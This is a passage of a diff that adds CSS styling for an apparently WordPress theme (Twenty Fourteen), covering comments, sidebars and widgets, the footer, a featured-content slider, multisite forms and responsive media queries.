+ * -----------------------------------------------------------------------------
+ */
+
+.comments-area {
+	margin: 48px auto;
+	max-width: 474px;
+	padding: 0 10px;
+}
+
+.comment-reply-title,
+.comments-title {
+	font: 900 16px/1.5 Lato, sans-serif;
+	margin: 0;
+	text-transform: uppercase;
+}
+
+.comment-list {
+	list-style: none;
+	margin: 0 0 48px 0;
+}
+
+.comment-author {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.comment-list .reply,
+.comment-metadata {
+	font-size: 12px;
+	line-height: 2;
+	text-transform: uppercase;
+}
+
+.comment-list .reply {
+	margin-top: 24px;
+}
+
+.comment-author .fn {
+	font-weight: 900;
+}
+
+.comment-author a {
+	color: #2b2b2b;
+}
+
+.comment-list .trackback a,
+.comment-list .pingback a,
+.comment-metadata a {
+	color: #767676;
+}
+
+.comment-author a:hover,
+.comment-list .pingback a:hover,
+.comment-list .trackback a:hover,
+.comment-metadata a:hover {
+	color: #41a62a;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	padding-top: 24px;
+}
+
+.comment-list > li:first-child > article,
+.comment-list > .pingback:first-child,
+.comment-list > .trackback:first-child {
+	border-top: 0;
+}
+
+.comment-author {
+	position: relative;
+}
+
+.comment-author .avatar {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	height: 18px;
+	padding: 2px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 18px;
+}
+
+.bypostauthor > article .fn:before {
+	content: "\f408";
+	margin: 0 2px 0 -2px;
+	position: relative;
+	top: -1px;
+}
+
+.says {
+	display: none;
+}
+
+.comment-author,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply,
+.comment-metadata {
+	padding-left: 30px;
+}
+
+.comment-edit-link {
+	margin-left: 10px;
+}
+
+.comment-edit-link:before {
+	content: "\f411";
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	content: "\f412";
+	margin-right: 2px;
+}
+
+.comment-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 24px 22px;
+}
+
+.comment-content li > ul,
+.comment-content li > ol {
+	margin-bottom: 0;
+}
+
+.comment-content > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list .children {
+	list-style: none;
+	margin-left: 15px;
+}
+
+.comment-respond {
+	margin-bottom: 24px;
+	padding: 0;
+}
+
+.comment .comment-respond {
+	margin-top: 24px;
+}
+
+.comment-respond h3 {
+	margin-top: 0;
+	margin-bottom: 24px;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.no-comments,
+.form-allowed-tags,
+.form-allowed-tags code {
+	color: #767676;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.no-comments {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin-top: 24px;
+	text-transform: uppercase;
+}
+
+.comment-form label {
+	display: block;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"] {
+	width: 100%;
+}
+
+.form-allowed-tags,
+.form-allowed-tags code {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.required {
+	color: #c0392b;
+}
+
+.comment-reply-title small a {
+	color: #2b2b2b;
+	float: right;
+	height: 24px;
+	overflow: hidden;
+	width: 24px;
+}
+
+.comment-reply-title small a:hover {
+	color: #41a62a;
+}
+
+.comment-reply-title small a:before {
+	content: "\f405";
+	font-size: 32px;
+}
+
+.comment-navigation {
+	font-size: 12px;
+	line-height: 2;
+	margin-bottom: 48px;
+	text-transform: uppercase;
+}
+
+.comment-navigation .nav-next,
+.comment-navigation .nav-previous {
+	display: inline-block;
+}
+
+.comment-navigation .nav-previous a {
+	margin-right: 10px;
+}
+
+#comment-nav-above {
+	margin-top: 36px;
+	margin-bottom: 0;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+
+.comment-form .comment-form-cookies-consent label {
+	display: inline;
+}
+
+/**
+ * 7.0 Sidebars
+ * -----------------------------------------------------------------------------
+ */
+
+/* Secondary */
+
+#secondary {
+	background-color: #000;
+	border-top: 1px solid #000;
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	clear: both;
+	color: rgba(255, 255, 255, 0.7);
+	margin-top: -1px;
+	padding: 0 10px;
+	position: relative;
+	z-index: 2;
+}
+
+.site-description {
+	display: none;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+/* Primary Sidebar */
+
+.primary-sidebar {
+	padding-top: 48px;
+}
+
+.secondary-navigation + .primary-sidebar {
+	padding-top: 0;
+}
+
+/* Content Sidebar */
+
+.content-sidebar {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #767676;
+	padding: 48px 10px 0;
+}
+
+
+/**
+ * 7.1 Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+/* Primary Sidebar, Footer Sidebar */
+
+.widget {
+	font-size: 14px;
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	line-height: 1.2857142857;
+	margin-bottom: 48px;
+	width: 100%;
+	word-wrap: break-word;
+}
+
+.widget a {
+	color: #fff;
+}
+
+.widget a:hover {
+	color: #41a62a;
+}
+
+.widget h1,
+.widget h2,
+.widget h3,
+.widget h4,
+.widget h5,
+.widget h6 {
+	margin: 24px 0 12px;
+}
+
+.widget h1 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+.widget h2 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+.widget h3 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+.widget h4 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.widget h5 {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.widget h6 {
+	font-size: 12px;
+	line-height: 2;
+}
+
+.widget address {
+	margin-bottom: 18px;
+}
+
+.widget abbr[title] {
+	border-color: rgba(255, 255, 255, 0.7);
+}
+
+.widget mark,
+.widget ins {
+	color: #000;
+}
+
+.widget pre,
+.widget fieldset {
+	border-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget code,
+.widget kbd,
+.widget tt,
+.widget var,
+.widget samp,
+.widget pre {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.widget blockquote {
+	color: rgba(255, 255, 255, 0.7);
+	font-size: 18px;
+	line-height: 1.5;
+	margin-bottom: 18px;
+}
+
+.widget blockquote cite {
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.2857142857;
+}
+
+.widget dl,
+.widget dd {
+	margin-bottom: 18px;
+}
+
+.widget ul,
+.widget ol {
+	list-style: none;
+	margin: 0;
+}
+
+.widget li > ol,
+.widget li > ul {
+	margin-left: 10px;
+}
+
+.widget table,
+.widget th,
+.widget td {
+	border-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget table {
+	margin-bottom: 18px;
+}
+
+.widget del {
+	color: rgba(255, 255, 255, 0.4);
+}
+
+.widget hr {
+	background-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget p {
+	margin-bottom: 18px;
+}
+
+.widget-area .widget input,
+.widget-area .widget textarea {
+	background-color: rgba(255, 255, 255, 0.1);
+	border-color: rgba(255, 255, 255, 0.2);
+	color: #fff;
+	font-size: 16px;
+	padding: 1px 2px 2px 4px;
+}
+
+.widget-area .widget input:focus,
+.widget-area .widget textarea:focus {
+	border-color: rgba(255, 255, 255, 0.3);
+}
+
+.widget button,
+.widget .button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	font-size: 12px;
+	padding: 5px 15px 4px;
+}
+
+.widget input[type="button"]:hover,
+.widget input[type="button"]:focus,
+.widget input[type="reset"]:hover,
+.widget input[type="reset"]:focus,
+.widget input[type="submit"]:hover,
+.widget input[type="submit"]:focus {
+	background-color: #41a62a;
+}
+
+.widget input[type="button"]:active,
+.widget input[type="reset"]:active,
+.widget input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.widget .wp-caption {
+	color: rgba(255, 255, 255, 0.7);
+	margin-bottom: 18px;
+}
+
+.widget .widget-title {
+	font-size: 14px;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	margin: 0 0 24px 0;
+	text-transform: uppercase;
+}
+
+.widget-title,
+.widget-title a {
+	color: #fff;
+}
+
+.widget-title a:hover {
+	color: #41a62a;
+}
+
+/* Calendar Widget*/
+
+.widget_calendar table {
+	line-height: 2;
+	margin: 0;
+}
+
+.widget_calendar caption {
+	color: #fff;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	margin-bottom: 18px;
+	text-align: left;
+	text-transform: uppercase;
+}
+
+.widget_calendar thead th {
+	background-color: rgba(255, 255, 255, 0.1);
+}
+
+.widget_calendar tbody td,
+.widget_calendar thead th {
+	text-align: center;
+}
+
+.widget_calendar tbody a {
+	background-color: #24890d;
+	color: #fff;
+	display: block;
+}
+
+.widget_calendar tbody a:hover {
+	background-color: #41a62a;
+}
+
+.widget_calendar tbody a:hover {
+	color: #fff;
+}
+
+.widget_calendar #prev {
+	padding-left: 5px;
+}
+
+.widget_calendar #next {
+	padding-right: 5px;
+	text-align: right;
+}
+
+/* Ephemera Widget*/
+
+.widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	margin-bottom: 18px;
+	padding: 0;
+}
+
+.widget_twentyfourteen_ephemera .hentry {
+	margin: 0;
+	max-width: 100%;
+}
+
+.widget_twentyfourteen_ephemera .entry-title,
+.widget_twentyfourteen_ephemera .entry-meta,
+.widget_twentyfourteen_ephemera .wp-caption-text,
+.widget_twentyfourteen_ephemera .post-format-archive-link,
+.widget_twentyfourteen_ephemera .entry-content table {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.widget_twentyfourteen_ephemera .entry-title {
+	display: inline;
+	font-weight: 400;
+}
+
+.widget_twentyfourteen_ephemera .entry-meta {
+	margin-bottom: 18px;
+}
+
+.widget_twentyfourteen_ephemera .entry-meta a {
+	color: rgba(255, 255, 255, 0.7);
+}
+
+.widget_twentyfourteen_ephemera .entry-meta a:hover {
+	color: #41a62a;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul,
+.widget_twentyfourteen_ephemera .entry-content ol {
+	margin: 0 0 18px 20px;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul {
+	list-style: disc;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ol {
+	list-style: decimal;
+}
+
+.widget_twentyfourteen_ephemera .entry-content li > ul,
+.widget_twentyfourteen_ephemera .entry-content li > ol {
+	margin: 0 0 0 20px;
+}
+
+.widget_twentyfourteen_ephemera .entry-content th,
+.widget_twentyfourteen_ephemera .entry-content td {
+	padding: 6px;
+}
+
+.widget_twentyfourteen_ephemera .post-format-archive-link {
+	font-weight: 700;
+	text-transform: uppercase;
+}
+
+/* List Style Widgets*/
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li,
+.widget_text li {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+	padding: 8px 0 9px;
+}
+
+.widget_archive li:first-child,
+.widget_categories li:first-child,
+.widget_links li:first-child,
+.widget_meta li:first-child,
+.widget_nav_menu li:first-child,
+.widget_pages li:first-child,
+.widget_recent_comments li:first-child,
+.widget_recent_entries li:first-child,
+.widget_text li {
+	border-top: 0;
+}
+
+.widget_categories li ul,
+.widget_nav_menu li ul,
+.widget_pages li ul {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+	margin-top: 9px;
+}
+
+.widget_categories li li:last-child,
+.widget_nav_menu li li:last-child,
+.widget_pages li li:last-child,
+.widget_text li li:last-child {
+	padding-bottom: 0;
+}
+
+.tagcloud ul {
+	list-style-type: none;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+}
+
+/* Recent Posts Widget */
+
+.widget_recent_entries .post-date {
+	display: block;
+}
+
+/* RSS Widget */
+
+.rsswidget img {
+	margin-top: -4px;
+}
+
+.rssSummary {
+	margin: 9px 0;
+}
+
+.rss-date {
+	display: block;
+}
+
+.widget_rss li {
+	margin-bottom: 18px;
+}
+
+.widget_rss li:last-child {
+	margin-bottom: 0;
+}
+
+/* Text Widget */
+
+.widget_text > div > :last-child {
+	margin-bottom: 0;
+}
+
+.widget_text ul,
+.widget_text ol {
+	margin: 0 0 12px 10px;
+}
+
+.widget_text li > ul,
+.widget_text li > ol {
+	margin-bottom: 0;
+}
+
+.widget_text ul {
+	list-style: disc inside;
+}
+
+.widget_text ol {
+	list-style: decimal inside;
+}
+
+
+/**
+ * 7.2 Content Sidebar Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.content-sidebar .widget a {
+	color: #24890d;
+}
+
+.content-sidebar .widget a:hover {
+	color: #41a62a;
+}
+
+.content-sidebar .widget pre {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget mark,
+.content-sidebar .widget ins {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget abbr[title] {
+	border-color: #2b2b2b;
+}
+
+.content-sidebar .widget fieldset {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget blockquote {
+	color: #767676;
+}
+
+.content-sidebar .widget blockquote cite {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget li > ol,
+.content-sidebar .widget li > ul {
+	margin-left: 18px;
+}
+
+.content-sidebar .widget table,
+.content-sidebar .widget th,
+.content-sidebar .widget td {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget del {
+	color: #767676;
+}
+
+.content-sidebar .widget hr {
+	background-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget input,
+.content-sidebar .widget textarea {
+	background-color: #fff;
+	border-color: rgba(0, 0, 0, 0.1);
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget input:focus,
+.content-sidebar .widget textarea:focus {
+	border-color: rgba(0, 0, 0, 0.3);
+}
+
+.content-sidebar .widget input[type="button"],
+.content-sidebar .widget input[type="reset"],
+.content-sidebar .widget input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	color: #fff;
+}
+
+.content-sidebar .widget input[type="button"]:hover,
+.content-sidebar .widget input[type="button"]:focus,
+.content-sidebar .widget input[type="reset"]:hover,
+.content-sidebar .widget input[type="reset"]:focus,
+.content-sidebar .widget input[type="submit"]:hover,
+.content-sidebar .widget input[type="submit"]:focus {
+	background-color: #41a62a;
+}
+
+.content-sidebar .widget input[type="button"]:active,
+.content-sidebar .widget input[type="reset"]:active,
+.content-sidebar .widget input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.content-sidebar .widget .wp-caption {
+	color: #767676;
+}
+
+.content-sidebar .widget .widget-title {
+	border-top: 5px solid #000;
+	color: #2b2b2b;
+	font-size: 14px;
+	font-weight: 900;
+	margin: 0 0 18px;
+	padding-top: 7px;
+	text-transform: uppercase;
+}
+
+.content-sidebar .widget .widget-title a {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget .widget-title a:hover {
+	color: #41a62a;
+}
+
+/* List Style Widgets*/
+
+.content-sidebar .widget_archive li,
+.content-sidebar .widget_categories li,
+.content-sidebar .widget_links li,
+.content-sidebar .widget_meta li,
+.content-sidebar .widget_nav_menu li,
+.content-sidebar .widget_pages li,
+.content-sidebar .widget_recent_comments li,
+.content-sidebar .widget_recent_entries li,
+.content-sidebar .widget_categories li ul,
+.content-sidebar .widget_nav_menu li ul,
+.content-sidebar .widget_pages li ul,
+.content-sidebar .widget_text li ul {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+/* Calendar Widget */
+
+.content-sidebar .widget_calendar caption {
+	color: #2b2b2b;
+	font-weight: 900;
+}
+
+.content-sidebar .widget_calendar thead th {
+	background-color: rgba(0, 0, 0, 0.02);
+}
+
+.content-sidebar .widget_calendar tbody a,
+.content-sidebar .widget_calendar tbody a:hover {
+	color: #fff;
+}
+
+/* Ephemera widget*/
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title {
+	line-height: 1.2857142857;
+	padding-top: 1px;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title:before {
+	background-color: #000;
+	color: #fff;
+	margin: -1px 9px 0 0;
+	padding: 6px 0 9px;
+	text-align: center;
+	vertical-align: middle;
+	width: 36px;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .video.widget-title:before {
+	content: "\f104";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .audio.widget-title:before {
+	content: "\f109";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .image.widget-title:before {
+	content: "\f473";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .gallery.widget-title:before {
+	content: "\f103";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .aside.widget-title:before {
+	content: "\f101";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .quote.widget-title:before {
+	content: "\f106";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .link.widget-title:before {
+	content: "\f107";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta {
+	color: #ccc;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta a {
+	color: #767676;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta a:hover {
+	color: #41a62a;
+}
+
+.content-sidebar.widget_twentyfourteen_ephemera blockquote cite {
+	font-size: 13px;
+	line-height: 1.3846153846;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link {
+	font-weight: 900;
+}
+
+
+/**
+ * 8.0 Footer
+ * -----------------------------------------------------------------------------
+ */
+
+#supplementary {
+	padding: 0 10px;
+}
+
+.site-footer,
+.site-info,
+.site-info a {
+	color: rgba(255, 255, 255, 0.7);
+}
+
+.site-footer {
+	background-color: #000;
+	font-size: 12px;
+	position: relative;
+	z-index: 3;
+}
+
+.footer-sidebar {
+	padding-top: 48px;
+}
+
+.site-info {
+	padding: 15px 10px;
+}
+
+#supplementary + .site-info {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+}
+
+.site-info a:hover {
+	color: #41a62a;
+}
+
+.site-info span[role=separator] {
+	padding: 0 0.25em 0 0.5em;
+}
+
+.site-info span[role=separator]::before {
+	content: '\002f';
+}
+
+/**
+ * 9.0 Featured Content
+ * -----------------------------------------------------------------------------
+ */
+
+.featured-content {
+	background: #000 url(images/pattern-dark.svg) repeat fixed;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	position: relative;
+	width: 100%;
+}
+
+.featured-content-inner {
+	overflow: hidden;
+}
+
+.featured-content .hentry {
+	color: #fff;
+	margin: 0;
+	max-width: 100%;
+	width: 100%;
+}
+
+.featured-content .post-thumbnail,
+.featured-content .post-thumbnail:hover {
+	background: transparent;
+}
+
+.featured-content .post-thumbnail {
+	display: block;
+	position: relative;
+	padding-top: 55.357142857%;
+	overflow: hidden;
+}
+
+.featured-content .post-thumbnail img {
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.featured-content .entry-header {
+	background-color: #000;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	min-height: 96px;
+	overflow: hidden;
+	padding: 24px 10px;
+}
+
+.featured-content a {
+	color: #fff;
+}
+
+.featured-content a:hover {
+	color: #41a62a;
+}
+
+.featured-content .entry-meta {
+	color: #fff;
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.0909090909;
+	margin-bottom: 12px;
+}
+
+.featured-content .cat-links {
+	font-weight: 700;
+}
+
+.featured-content .entry-title {
+	font-size: 18px;
+	font-weight: 300;
+	line-height: 1.3333333333;
+	margin: 0;
+	text-transform: uppercase;
+}
+
+
+/* Slider */
+
+.slider .featured-content .hentry {
+	-webkit-backface-visibility: hidden;
+	display: none;
+	position: relative;
+}
+
+.slider .featured-content .post-thumbnail {
+	padding-top: 55.49132947%;
+}
+
+.slider-control-paging {
+	background-color: #000;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	list-style: none;
+	margin: -24px 0 0 0;
+	position: relative;
+	width: 100%;
+	z-index: 3;
+}
+
+.slider-control-paging li {
+	float: left;
+	margin: 2px 4px 2px 0;
+}
+
+.slider-control-paging li:last-child {
+	margin-right: 0;
+}
+
+.slider-control-paging a {
+	cursor: pointer;
+	display: block;
+	height: 44px;
+	position: relative;
+	text-indent: -999em;
+	width: 44px;
+}
+
+.slider-control-paging a:before {
+	background-color: #4d4d4d;
+	content: "";
+	height: 12px;
+	left: 10px;
+	position: absolute;
+	top: 16px;
+	width: 12px;
+}
+
+.slider-control-paging a:hover:before {
+	background-color: #41a62a;
+}
+
+.slider-control-paging .slider-active:before,
+.slider-control-paging .slider-active:hover:before {
+	background-color: #24890d;
+}
+
+.slider-direction-nav {
+	clear: both;
+	list-style: none;
+	margin: 0;
+	position: relative;
+	width: 100%;
+	z-index: 3;
+}
+
+.slider-direction-nav li {
+	border-color: #fff;
+	border-style: solid;
+	border-width: 2px 1px 0 0;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	text-align: center;
+	width: 50%;
+}
+
+.slider-direction-nav li:last-child {
+	border-width: 2px 0 0 1px;
+}
+
+.slider-direction-nav a {
+	background-color: #000;
+	display: block;
+	font-size: 0;
+	height: 46px;
+}
+
+.slider-direction-nav a:hover {
+	background-color: #24890d;
+}
+
+.slider-direction-nav a:before {
+	color: #fff;
+	content: "\f430";
+	font-size: 32px;
+	line-height: 46px;
+}
+
+.slider-direction-nav .slider-next:before {
+	content: "\f429";
+}
+
+.slider-direction-nav .slider-disabled {
+	display: none;
+}
+
+
+/**
+ * 10.0 Multisite
+ * -----------------------------------------------------------------------------
+ */
+
+.site-main .widecolumn {
+	padding-top: 72px;
+	width: auto;
+}
+.site-main .mu_register,
+.widecolumn > h2,
+.widecolumn > form {
+	margin: 0 auto 48px;
+	max-width: 474px;
+	padding: 0 30px;
+}
+
+.site-main .mu_register #blog_title,
+.site-main .mu_register #user_email,
+.site-main .mu_register #blogname,
+.site-main .mu_register #user_name {
+	font-size: inherit;
+	width: 90%;
+}
+
+.site-main .mu_register input[type="submit"],
+.widecolumn #submit {
+	font-size: inherit;
+	width: auto;
+}
+
+
+/**
+ * 11.0 Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+
+@viewport {
+	width: device-width;
+}
+
+/* Adjust positioning of edit shortcuts, override style in customize-preview.css */
+@media screen and (max-width:800px) {
+	body.customize-partial-edit-shortcuts-shown .site-header .site-title {
+		padding-left: 8px;
+	}
+
+	.site-header .customize-partial-edit-shortcut button {
+		top: 10px;
+	}
+}
+
+
+@media screen and (max-width: 400px) {
+	.list-view .site-content .post-thumbnail {
+		background: none;
+		width: auto;
+		z-index: 2;
+	}
+
+	.list-view .site-content .post-thumbnail img {
+		float: left;
+		margin: 0 10px 3px 0;
+		width: 84px;
+	}
+
+	.list-view .site-content .entry-header {
+		background-color: transparent;
+		padding: 0;
+	}
+
+	.list-view .content-area {
+		padding: 0 10px;
+	}
+
+	.list-view .site-content .hentry {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin: 0;
+		min-height: 60px;
+		padding: 12px 0 9px;
+	}
+
+	.list-view .site-content .cat-links,
+	.list-view .site-content .type-post .entry-content,
+	.list-view .site-content .type-page .entry-content,
+	.list-view .site-content .type-post .entry-summary,
+	.list-view .site-content .type-page .entry-summary,
+	.list-view .site-content footer.entry-meta {
+		display: none;
+	}
+
+	.list-view .site-content .entry-title {
+		clear: none;
+		font-size: 15px;
+		font-weight: 900;
+		line-height: 1.2;
+		margin-bottom: 6px;
+		text-transform: none;
+	}
+
+	.list-view .site-content .format-aside .entry-title,
+	.list-view .site-content .format-link .entry-title,
+	.list-view .site-content .format-quote .entry-title {
+		display: block;
+	}
+
+	.list-view .site-content .entry-meta {
+		background-color: transparent;
+		clear: none;
+		margin: 0;
+		text-transform: none;
+	}
+
+	.archive-header,
+	.page-header {
+		border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+		margin: 24px auto 0;
+		padding-bottom: 24px;
+	}
+
+	.error404 .page-header {
+		border-bottom: 0;
+		margin: 0 auto 24px;
+		padding: 0 10px;
+	}
+}
+
+/* Adjust positioning of edit shortcuts, override style in customize-preview.css */
+@media screen and (max-width:320px) {
+	.site-header .customize-partial-edit-shortcut button {
+		left: -32px;
+	}
+
+	body.customize-partial-edit-shortcuts-shown .site-header .site-title {
+		padding-left: 28px;
+	}
+}
+
+@media screen and (min-width: 401px) {
+	a.post-thumbnail:hover img {
+		opacity: 0.85;
+	}
+
+	.full-size-link:before,
+	.parent-post-link:before,
+	.site-content span + .byline:before,
+	.site-content span + .comments-link:before,
+	.site-content span + .edit-link:before,
+	.site-content span + .entry-date:before {
+		content: "";
+	}
+
+	.attachment span.entry-date:before,
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before,
+	.site-content .byline a:before,
+	.site-content .comments-link a:before,
+	.site-content .entry-date a:before,
+	.site-content .featured-post:before,
+	.site-content .full-size-link a:before,
+	.site-content .parent-post-link a:before,
+	.site-content .post-format a:before {
+		-webkit-font-smoothing: antialiased;
+		display: inline-block;
+		font: normal 16px/1 Genericons;
+		text-decoration: inherit;
+		vertical-align: text-bottom;
+	}
+
+	.site-content .entry-meta > span {
+		margin-right: 10px;
+	}
+
+	.site-content .format-video .post-format a:before {
+		content: "\f104";
+	}
+
+	.site-content .format-audio .post-format a:before {
+		content: "\f109";
+	}
+
+	.site-content .format-image .post-format a:before {
+		content: "\f473";
+	}
+
+	.site-content .format-quote .post-format a:before {
+		content: "\f106";
+		margin-right: 2px;
+	}
+
+	.site-content .format-gallery .post-format a:before {
+		content: "\f103";
+		margin-right: 4px;
+	}
+
+	.site-content .format-aside .post-format a:before {
+		content: "\f101";
+		margin-right: 2px;
+	}
+
+	.site-content .format-link .post-format a:before {
+		content: "\f107";
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .featured-post:before {
+		content: "\f308";
+		margin-right: 3px;
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .entry-date a:before,
+	.attachment .site-content span.entry-date:before {
+		content: "\f303";
+		margin-right: 1px;
+		position: relative;
+		top: 1px;
+	}
+
+	.site-content .byline a:before {
+		content: "\f304";
+	}
+
+	.site-content .comments-link a:before {
+		content: "\f300";
+		margin-right: 2px;
+	}
+
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before {
+		content: "\f411";
+	}
+
+	.site-content .full-size-link a:before {
+		content: "\f402";
+		margin-right: 1px;
+	}
+
+	.site-content .parent-post-link a:before {
+		content: "\f301";
+	}
+
+	.list-view .site-content .hentry {
+		border-top: 1px solid rgba(0, 0, 0, 0.1);
+		padding-top: 48px;
+	}
+
+	.list-view .site-content .hentry:first-of-type,
+	.list-view .site-content .hentry.has-post-thumbnail {
+		border-top: 0;
+		padding-top: 0;
+	}
+
+	.archive-header,
+	.page-header {
+		margin: 0 auto 60px;
+		padding: 0 10px;
+	}
+
+	.error404 .page-header {
+		margin-bottom: 24px;
+	}
+}
+
+@media screen and (min-width: 594px) {
+	.site-content .entry-header {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: -48px;
+	}
+}
+
+@media screen and (min-width: 673px) {
+	.header-main {
+		padding: 0 30px;
+	}
+
+	.search-toggle {
+		margin-right: 18px;
+	}
+
+	.search-box .search-field {
+		width: 50%;
+	}
+
+	.content-area {
+		float: left;
+		width: 100%;
+	}
+
+	.site-content {
+		margin-right: 33.33333333%;
+	}
+
+	.site-content .has-post-thumbnail .entry-header {
+		margin-top: 0;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.singular .site-content .hentry.has-post-thumbnail {
+		margin-top: 0;
+	}
+
+	.full-width .site-content {
+		margin-right: 0;
+	}
+
+	.full-width .site-content .has-post-thumbnail .entry-header,
+	.full-width .site-content .hentry.has-post-thumbnail:first-child {
+		margin-top: -48px;
+	}
+
+	#secondary,
+	#supplementary {
+		padding: 0 30px;
+	}
+
+	.content-sidebar {
+		border: 0;
+		float: right;
+		margin-left: -33.33333333%;
+		padding: 48px 30px 24px;
+		position: relative;
+		width: 33.33333333%;
+	}
+
+	.grid .featured-content .hentry {
+		float: left;
+		width: 50%;
+	}
+
+	.grid .featured-content .hentry:nth-child( 2n+1 ) {
+		clear: both;
+	}
+
